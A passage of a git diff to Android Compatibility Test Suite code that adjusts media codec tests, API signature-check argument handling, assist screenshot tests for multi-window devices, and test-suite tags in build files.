+ mAdaptiveBitrateMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP8);
+ mAdaptiveBitrateMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP9);
+ }
public CodecEncoderTest(String encoder, String mime, int[] bitrates, int[] encoderInfo1,
int[] encoderInfo2) {
@@ -720,7 +728,8 @@ public class CodecEncoderTest extends CodecEncoderTestBase {
@LargeTest
@Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
public void testAdaptiveBitRate() throws IOException, InterruptedException {
- Assume.assumeTrue(!mIsAudio);
+ Assume.assumeTrue("Skipping AdaptiveBitrate test for " + mMime,
+ mAdaptiveBitrateMimeList.contains(mMime));
setUpParams(1);
boolean[] boolStates = {true, false};
setUpSource(mInputFile);
@@ -798,7 +807,8 @@ public class CodecEncoderTest extends CodecEncoderTestBase {
@LargeTest
@Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
public void testAdaptiveBitRateNative() throws IOException {
- Assume.assumeTrue(!mIsAudio);
+ Assume.assumeTrue("Skipping Native AdaptiveBitrate test for " + mMime,
+ mAdaptiveBitrateMimeList.contains(mMime));
int colorFormat = -1;
{
/* TODO(b/147574800) */
diff --git a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
index 61fe054a259..8598622cf4f 100644
--- a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
@@ -50,6 +50,7 @@ import static android.mediapc.cts.CodecTestBase.selectCodecs;
import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
/**
@@ -69,9 +70,6 @@ public class EncoderInitializationLatencyTest {
private static String AVC_DECODER_NAME;
private static String AVC_ENCODER_NAME;
static {
- AVC_DECODER_NAME = selectHardwareCodecs(AVC, null, null, false).get(0);
- AVC_ENCODER_NAME = selectHardwareCodecs(AVC, null, null, true).get(0);
-
if (Utils.isRPerfClass()) {
MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = 50;
MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = 65;
@@ -95,6 +93,14 @@ public class EncoderInitializationLatencyTest {
@Before
public void setUp() throws Exception {
assumeTrue("Test requires performance class.", Utils.isPerfClass());
+ ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
+ assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
+ AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
+
+ ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
+ assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
+ AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
+
Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
Context context = instrumentation.getTargetContext();
PackageManager packageManager = context.getPackageManager();
diff --git a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
index c0f48dbcb3f..a57faf777bc 100644
--- a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
@@ -33,7 +33,9 @@ import java.util.Map;
import static android.mediapc.cts.CodecTestBase.selectCodecs;
import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
public class FrameDropTestBase {
@@ -69,11 +71,6 @@ public class FrameDropTestBase {
static Map<String, String> m540pTestFiles = new HashMap<>();
static Map<String, String> m1080pTestFiles = new HashMap<>();
static {
- AVC_DECODER_NAME = selectHardwareCodecs(AVC, null, null, false).get(0);
- AVC_ENCODER_NAME = selectHardwareCodecs(AVC, null, null, true).get(0);
- AAC_DECODER_NAME = selectCodecs(AAC, null, null, false).get(0);
- }
- static {
if (Utils.isSPerfClass()) {
// Two frame drops per 10 seconds at 60 fps is 6 drops per 30 seconds
MAX_FRAME_DROP_FOR_30S = 6;
@@ -111,6 +108,19 @@ public class FrameDropTestBase {
@Before
public void setUp() throws Exception {
assumeTrue("Test requires performance class.", Utils.isPerfClass());
+
+ ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
+ assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
+ AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
+
+ ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
+ assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
+ AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
+
+ ArrayList<String> listOfAacDecoders = selectCodecs(AAC, null, null, false);
+ assertFalse("Test requires aac decoder", listOfAacDecoders.isEmpty());
+ AAC_DECODER_NAME = listOfAacDecoders.get(0);
+
createSurface();
startLoad();
}
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
index 80bdafe7ed6..596532b5b3d 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
@@ -53,13 +53,11 @@ public class MultiCodecPerfTestBase {
mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x720_3mbps_30fps_avc.mp4");
mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1280x720_3mbps_30fps_hevc.mp4");
- // Test VP8, VP9 and AV1 as well for Build.VERSION_CODES.S
+ // Test VP9 and AV1 as well for Build.VERSION_CODES.S
if (Utils.isSPerfClass()) {
- mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP8);
mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP9);
mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
- mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_1280x720_3mbps_30fps_vp8.webm");
mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1280x720_3mbps_30fps_vp9.webm");
mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1280x720_3mbps_30fps_av1.mp4");
}
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java
index 7cefb5c2d9f..ffe85fc77d3 100644
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java
+++ b/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java
@@ -16,28 +16,14 @@
package android.signature.cts.api.test;
-import android.os.Bundle;
-import android.signature.cts.DexApiDocumentParser;
-import android.signature.cts.DexField;
import android.signature.cts.DexMember;
-import android.signature.cts.DexMemberChecker;
-import android.signature.cts.DexMethod;
-import android.signature.cts.FailureType;
-import android.signature.cts.VirtualPath;
-
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.nio.channels.FileChannel;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.nio.file.StandardOpenOption;
-import java.util.EnumSet;
import java.util.Set;
-import java.util.function.Predicate;
-import java.util.stream.Stream;
public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest {
+ /**
+ * Override to match only those members that specify both test-api and blocked.
+ */
@Override
protected boolean shouldTestMember(DexMember member) {
Set<String> flags = member.getHiddenapiFlags();
diff --git a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
index 4c0a31ab377..d9d1cb60647 100644
--- a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
+++ b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
@@ -47,7 +47,7 @@ public class SignatureMultiLibsTest extends SignatureTest {
ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
parseApiResourcesAsStream(apiDocumentParser,
- Stream.concat(Arrays.stream(systemApiFiles), Arrays.stream(previousApiFiles))
+ Stream.concat(Arrays.stream(expectedApiFiles), Arrays.stream(previousApiFiles))
.toArray(String[]::new))
.forEach(complianceChecker::checkSignatureCompliance);
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
index 9707dd82a44..0eeef1a118f 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
@@ -119,7 +119,7 @@ public class AbstractApiTest extends InstrumentationTestCase {
mResultObserver.onTestComplete(); // Will throw is there are failures
}
- static String[] getCommaSeparatedList(Bundle instrumentationArgs, String key) {
+ static String[] getCommaSeparatedListOptional(Bundle instrumentationArgs, String key) {
String argument = instrumentationArgs.getString(key);
if (argument == null) {
return new String[0];
@@ -127,6 +127,14 @@ public class AbstractApiTest extends InstrumentationTestCase {
return argument.split(",");
}
+ static String[] getCommaSeparatedListRequired(Bundle instrumentationArgs, String key) {
+ String argument = instrumentationArgs.getString(key);
+ if (argument == null) {
+ throw new IllegalStateException("Could not find required argument '" + key + "'");
+ }
+ return argument.split(",");
+ }
+
private Stream<VirtualPath> readResource(String resourceName) {
try {
ResourcePath resourcePath =
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 43cca41e327..3b6fec978eb 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -28,7 +28,6 @@ import android.signature.cts.VirtualPath;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
-import java.text.ParseException;
import java.util.HashSet;
import java.util.Set;
import java.util.function.Predicate;
@@ -45,8 +44,8 @@ public class HiddenApiTest extends AbstractApiTest {
@Override
protected void initializeFromArgs(Bundle instrumentationArgs) {
- hiddenapiFiles = getCommaSeparatedList(instrumentationArgs, "hiddenapi-files");
- hiddenapiTestFlags = getCommaSeparatedList(instrumentationArgs, "hiddenapi-test-flags");
+ hiddenapiFiles = getCommaSeparatedListRequired(instrumentationArgs, "hiddenapi-files");
+ hiddenapiTestFlags = getCommaSeparatedListOptional(instrumentationArgs, "hiddenapi-test-flags");
hiddenapiFilterFile = instrumentationArgs.getString("hiddenapi-filter-file");
hiddenapiFilterSet = new HashSet<>();
}
@@ -166,7 +165,15 @@ public class HiddenApiTest extends AbstractApiTest {
});
}
+ /**
+ * Determines whether to test the member.
+ *
+ * @param member the member
+ * @return true if the member should be tested, false otherwise.
+ */
protected boolean shouldTestMember(DexMember member) {
+ // Test the member if it supports ANY of the flags specified in the hiddenapi-test-flags
+ // argument.
Set<String> flags = member.getHiddenapiFlags();
for (String testFlag : hiddenapiTestFlags) {
if (flags.contains(testFlag)) {
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
index 2ef70ca253d..316a603bec5 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
@@ -36,17 +36,23 @@ public class SignatureTest extends AbstractApiTest {
private static final String TAG = SignatureTest.class.getSimpleName();
- protected String[] systemApiFiles;
+ protected String[] expectedApiFiles;
protected String[] previousApiFiles;
protected String[] baseApiFiles;
private String[] unexpectedApiFiles;
@Override
protected void initializeFromArgs(Bundle instrumentationArgs) {
- systemApiFiles = getCommaSeparatedList(instrumentationArgs, "system-api-files");
- baseApiFiles = getCommaSeparatedList(instrumentationArgs, "base-api-files");
- unexpectedApiFiles = getCommaSeparatedList(instrumentationArgs, "unexpected-api-files");
- previousApiFiles = getCommaSeparatedList(instrumentationArgs, "previous-api-files");
+ expectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "expected-api-files");
+ baseApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "base-api-files");
+ unexpectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "unexpected-api-files");
+ previousApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "previous-api-files");
+
+ if (expectedApiFiles.length + unexpectedApiFiles.length == 0) {
+ throw new IllegalStateException(
+ "Expected at least one file to be specified in"
+ + " 'expected-api-files' or 'unexpected-api-files'");
+ }
}
/**
@@ -73,7 +79,7 @@ public class SignatureTest extends AbstractApiTest {
// Load classes from any API files that form the base which the expected APIs extend.
loadBaseClasses(complianceChecker);
// Load classes from system API files and check for signature compliance.
- checkClassesSignatureCompliance(complianceChecker, systemApiFiles, unexpectedClasses,
+ checkClassesSignatureCompliance(complianceChecker, expectedApiFiles, unexpectedClasses,
false /* isPreviousApi */);
// Load classes from previous API files and check for signature compliance.
checkClassesSignatureCompliance(complianceChecker, previousApiFiles, unexpectedClasses,
diff --git a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
index a3c46d50270..62b1bbb3c73 100644
--- a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
+++ b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
@@ -16,7 +16,6 @@
package android.signature.cts.api;
-import android.os.Build;
import android.os.Bundle;
import android.signature.cts.AnnotationChecker;
import android.signature.cts.ApiDocumentParser;
@@ -42,7 +41,7 @@ public class AnnotationTest extends AbstractApiTest {
@Override
protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
- mExpectedApiFiles = getCommaSeparatedList(instrumentationArgs, "expected-api-files");
+ mExpectedApiFiles = getCommaSeparatedListRequired(instrumentationArgs, "expected-api-files");
mAnnotationForExactMatch = instrumentationArgs.getString("annotation-for-exact-match");
}
diff --git a/tests/signature/api-check/system-api/AndroidTest.xml b/tests/signature/api-check/system-api/AndroidTest.xml
index 1fcb724d37d..7c5fb12b337 100644
--- a/tests/signature/api-check/system-api/AndroidTest.xml
+++ b/tests/signature/api-check/system-api/AndroidTest.xml
@@ -28,7 +28,7 @@
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.system.SignatureTest" />
<option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
- <option name="instrumentation-arg" key="system-api-files" value="system-current.api.gz,system-removed.api.gz" />
+ <option name="instrumentation-arg" key="expected-api-files" value="system-current.api.gz,system-removed.api.gz" />
<option name="instrumentation-arg" key="previous-api-files" value = "system-all.api.zip" />
<option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api.gz,android-test-runner-current.api.gz" />
<option name="runtime-hint" value="30s" />
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index f90bd5d8ec1..1aa05ef3a4a 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -909,6 +909,8 @@ public class UsageStatsTest {
@AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
@Test
public void testIsAppInactive() throws Exception {
+ assumeTrue("Test only works on devices with a battery", BatteryUtils.hasBattery());
+
setStandByBucket(mTargetPackage, "rare");
try {
@@ -954,6 +956,8 @@ public class UsageStatsTest {
@AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
@Test
public void testIsAppInactive_Charging() throws Exception {
+ assumeTrue("Test only works on devices with a battery", BatteryUtils.hasBattery());
+
setStandByBucket(TEST_APP_PKG, "rare");
try {
diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
index 8c25deae26c..44a3109a740 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
@@ -73,6 +73,7 @@ import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Consumer;
@RunWith(AndroidJUnit4.class)
abstract class AssistTestBase {
@@ -140,7 +141,8 @@ abstract class AssistTestBase {
@Nullable
protected RemoteCallback m3pActivityCallback;
- private RemoteCallback m3pCallbackReceiving;
+ @Nullable
+ protected RemoteCallback mSecondary3pActivityCallback;
protected boolean mScreenshotMatches;
private Point mDisplaySize;
@@ -168,7 +170,6 @@ abstract class AssistTestBase {
mActionLatchReceiver = new ActionLatchReceiver();
prepareDevice();
- registerForAsyncReceivingCallback();
customSetup();
}
@@ -185,11 +186,15 @@ abstract class AssistTestBase {
mTestActivity.finish();
mContext.sendBroadcast(new Intent(Utils.HIDE_SESSION));
-
if (m3pActivityCallback != null) {
m3pActivityCallback.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
}
+ if (mSecondary3pActivityCallback != null) {
+ mSecondary3pActivityCallback
+ .sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
+ }
+
mSessionCompletedLatch.await(3, TimeUnit.SECONDS);
}
@@ -209,19 +214,6 @@ abstract class AssistTestBase {
runShellCommand("wm dismiss-keyguard");
}
- private void registerForAsyncReceivingCallback() {
- HandlerThread handlerThread = new HandlerThread("AssistTestCallbackReceivingThread");
- handlerThread.start();
- Handler handler = new Handler(handlerThread.getLooper());
-
- m3pCallbackReceiving = new RemoteCallback((results) -> {
- String action = results.getString(Utils.EXTRA_REMOTE_CALLBACK_ACTION);
- if (action.equals(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING_ACTION)) {
- m3pActivityCallback = results.getParcelable(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING);
- }
- }, handler);
- }
-
protected void startTest(String testName) throws Exception {
Log.i(TAG, "Starting test activity for TestCaseType = " + testName);
Intent intent = new Intent();
@@ -244,7 +236,25 @@ abstract class AssistTestBase {
Utils.setTestAppAction(intent, testCaseName);
intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK, mRemoteCallback);
intent.addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL);
- intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING, m3pCallbackReceiving);
+
+ // In devices which support multi-window Activity positioning by default (such as foldables)
+ // it is necessary to launch additional activities ("screen fillers") so we may validate the
+ // entire screenshot captured by the Assistant (full display, not individual DisplayAreas)
+ if (m3pActivityCallback == null) { // first time start3pApp is called
+ intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING,
+ createRemoteCallbackReceiver(callback -> m3pActivityCallback = callback));
+ } else if (mSecondary3pActivityCallback == null) { // second time
+ // launch 3pApp on adjacent screen in test cases that need a "screen filler".
+ // necessary configuration to ensure Activity can be launched in another DisplayArea
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT
+ // as we are reusing this intent setup, unconditionally start a new task
+ | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
+ intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING, createRemoteCallbackReceiver(
+ remoteCallback -> mSecondary3pActivityCallback = remoteCallback));
+ } else {
+ throw new IllegalStateException("start3pApp supports a maximum of two App instances.");
+ }
+
if (extras != null) {
intent.putExtras(extras);
}
@@ -253,6 +263,15 @@ abstract class AssistTestBase {
waitForOnResume();
}
+ private RemoteCallback createRemoteCallbackReceiver(Consumer<RemoteCallback> consumer) {
+ return new RemoteCallback((results) -> {
+ String action = results.getString(Utils.EXTRA_REMOTE_CALLBACK_ACTION);
+ if (action.equals(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING_ACTION)) {
+ consumer.accept(results.getParcelable(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING));
+ }
+ }, new Handler(mContext.getMainLooper()));
+ }
+
/**
* Starts the shim service activity
*/
@@ -319,9 +338,8 @@ abstract class AssistTestBase {
*/
private void addDimensionsToIntent(Intent intent) {
if (mDisplaySize == null) {
- Display display = mTestActivity.getWindowManager().getDefaultDisplay();
- mDisplaySize = new Point();
- display.getRealSize(mDisplaySize);
+ Display.Mode dMode = mTestActivity.getWindowManager().getDefaultDisplay().getMode();
+ mDisplaySize = new Point(dMode.getPhysicalWidth(), dMode.getPhysicalHeight());
}
intent.putExtra(Utils.DISPLAY_WIDTH_KEY, mDisplaySize.x);
intent.putExtra(Utils.DISPLAY_HEIGHT_KEY, mDisplaySize.y);
diff --git a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
index c9d16c8546e..e5f0cd12b22 100644
--- a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
+++ b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
@@ -39,48 +39,20 @@ public class ScreenshotTest extends AssistTestBase {
@Test
public void testRedScreenshot() throws Throwable {
- if (mActivityManager.isLowRamDevice()) {
- Log.d(TAG, "Not running assist tests on low-RAM device.");
- return;
- }
-
- startTest(TEST_CASE_TYPE);
- waitForAssistantToBeReady();
-
- Bundle bundle = new Bundle();
- bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.RED);
- start3pApp(TEST_CASE_TYPE, bundle);
-
- eventuallyWithSessionClose(() -> {
- delayAndStartSession(Color.RED);
- verifyAssistDataNullness(false, false, false, false);
- assertThat(mScreenshotMatches).isTrue();
- });
+ validateDeviceAndRunTestForColor(Color.RED);
}
@Test
public void testGreenScreenshot() throws Throwable {
- if (mActivityManager.isLowRamDevice()) {
- Log.d(TAG, "Not running assist tests on low-RAM device.");
- return;
- }
-
- startTest(TEST_CASE_TYPE);
- waitForAssistantToBeReady();
-
- Bundle bundle = new Bundle();
- bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.GREEN);
- start3pApp(TEST_CASE_TYPE, bundle);
-
- eventuallyWithSessionClose(() -> {
- delayAndStartSession(Color.GREEN);
- verifyAssistDataNullness(false, false, false, false);
- assertThat(mScreenshotMatches).isTrue();
- });
+ validateDeviceAndRunTestForColor(Color.GREEN);
}
@Test
public void testBlueScreenshot() throws Throwable {
+ validateDeviceAndRunTestForColor(Color.BLUE);
+ }
+
+ private void validateDeviceAndRunTestForColor(int color) throws Throwable {
if (mActivityManager.isLowRamDevice()) {
Log.d(TAG, "Not running assist tests on low-RAM device.");
return;
@@ -90,11 +62,15 @@ public class ScreenshotTest extends AssistTestBase {
waitForAssistantToBeReady();
Bundle bundle = new Bundle();
- bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.BLUE);
+ bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, color);
+ start3pApp(TEST_CASE_TYPE, bundle);
+ // In multi-window devices (particularly foldables) we must cover the entire display
+ // to properly validate the Assistant screenshot; as there is no standard API to determine
+ // how many DisplayAreas a screen may contain, open a secondary activity for basic cases
start3pApp(TEST_CASE_TYPE, bundle);
eventuallyWithSessionClose(() -> {
- delayAndStartSession(Color.BLUE);
+ delayAndStartSession(color);
verifyAssistDataNullness(false, false, false, false);
assertThat(mScreenshotMatches).isTrue();
});
diff --git a/tests/tests/content/BinderPermissionTestService/Android.bp b/tests/tests/content/BinderPermissionTestService/Android.bp
index 928e532afa1..8ba24325f87 100644
--- a/tests/tests/content/BinderPermissionTestService/Android.bp
+++ b/tests/tests/content/BinderPermissionTestService/Android.bp
@@ -27,6 +27,7 @@ android_test_helper_app {
"aidl/**/I*.aidl",
],
test_suites: [
+ "mts",
"cts",
"general-tests",
],
diff --git a/tests/tests/content/DirectBootUnawareTestApp/Android.bp b/tests/tests/content/DirectBootUnawareTestApp/Android.bp
index 4a1a9bb052e..8c35eb4b35f 100644
--- a/tests/tests/content/DirectBootUnawareTestApp/Android.bp
+++ b/tests/tests/content/DirectBootUnawareTestApp/Android.bp
@@ -22,6 +22,7 @@ android_test_helper_app {
sdk_version: "current",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
diff --git a/tests/tests/content/HelloWorldApp/Android.bp b/tests/tests/content/HelloWorldApp/Android.bp
index e3c2de5ab37..cb453239f0c 100644
--- a/tests/tests/content/HelloWorldApp/Android.bp
+++ b/tests/tests/content/HelloWorldApp/Android.bp
@@ -42,6 +42,7 @@ android_test {
srcs: ["src5/**/*.java"],
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
@@ -56,6 +57,7 @@ android_test {
manifest: "AndroidManifestProfileable.xml",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"vts10",
"general-tests",
@@ -70,6 +72,7 @@ android_test {
srcs: ["src7/**/*.java"],
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
@@ -105,6 +108,7 @@ android_test {
],
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
@@ -120,6 +124,7 @@ android_test {
manifest: "AndroidManifestShell.xml",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"vts10",
"general-tests",
diff --git a/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp b/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp
index c24d69a3b5a..c211c0c2ad4 100644
--- a/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp
+++ b/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp
@@ -22,6 +22,7 @@ android_test_helper_app {
sdk_version: "current",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
diff --git a/tests/tests/content/SyncAccountAccessStubs/Android.bp b/tests/tests/content/SyncAccountAccessStubs/Android.bp
index e8904d7fa44..9f1e9abfd20 100644
--- a/tests/tests/content/SyncAccountAccessStubs/Android.bp
+++ b/tests/tests/content/SyncAccountAccessStubs/Android.bp
@@ -25,6 +25,7 @@ android_test_helper_app {
srcs: ["src/**/*.java"],
sdk_version: "current",
test_suites: [
+ "mts",
"cts",
"general-tests",
],
diff --git a/tests/tests/content/emptytestapp/Android.bp b/tests/tests/content/emptytestapp/Android.bp
index 42f36d0291a..70c87fe8da5 100644
--- a/tests/tests/content/emptytestapp/Android.bp
+++ b/tests/tests/content/emptytestapp/Android.bp
@@ -22,6 +22,7 @@ android_test_helper_app {
sdk_version: "current",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
@@ -35,6 +36,7 @@ android_test_helper_app {
manifest: "AndroidManifestLongPackageName.xml",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
@@ -48,6 +50,7 @@ android_test_helper_app {
manifest: "AndroidManifestLongSharedUserId.xml",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
@@ -61,6 +64,7 @@ android_test_helper_app {
manifest: "AndroidManifestMaxPackageName.xml",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
@@ -73,6 +77,7 @@ android_test_helper_app {
manifest: "AndroidManifestMaxSharedUserId.xml",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
diff --git a/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java b/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java
index de60e370e70..3919f90ee2a 100644
--- a/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java
@@ -43,6 +43,12 @@ public class ECDSASignatureTest extends AndroidTestCase {
private void assertNONEwithECDSATruncatesInputToFieldSize(KeyPair keyPair)
throws Exception {
int keySizeBits = TestUtils.getKeySizeBits(keyPair.getPublic());
+ if (keySizeBits == 521) {
+ /*
+ * Skip P521 test until b/184307265 is fixed.
+ */
+ return;
+ }
byte[] message = new byte[(keySizeBits * 3) / 8];
for (int i = 0; i < message.length; i++) {
message[i] = (byte) (i + 1);
diff --git a/tests/tests/libcoreapievolution/AndroidTest.xml b/tests/tests/libcoreapievolution/AndroidTest.xml
index 08f47fdd769..79aa4b2940a 100644
--- a/tests/tests/libcoreapievolution/AndroidTest.xml
+++ b/tests/tests/libcoreapievolution/AndroidTest.xml
@@ -42,4 +42,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/tests/libcorefileio/AndroidTest.xml b/tests/tests/libcorefileio/AndroidTest.xml
index c90b7027970..22209734c65 100644
--- a/tests/tests/libcorefileio/AndroidTest.xml
+++ b/tests/tests/libcorefileio/AndroidTest.xml
@@ -40,4 +40,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
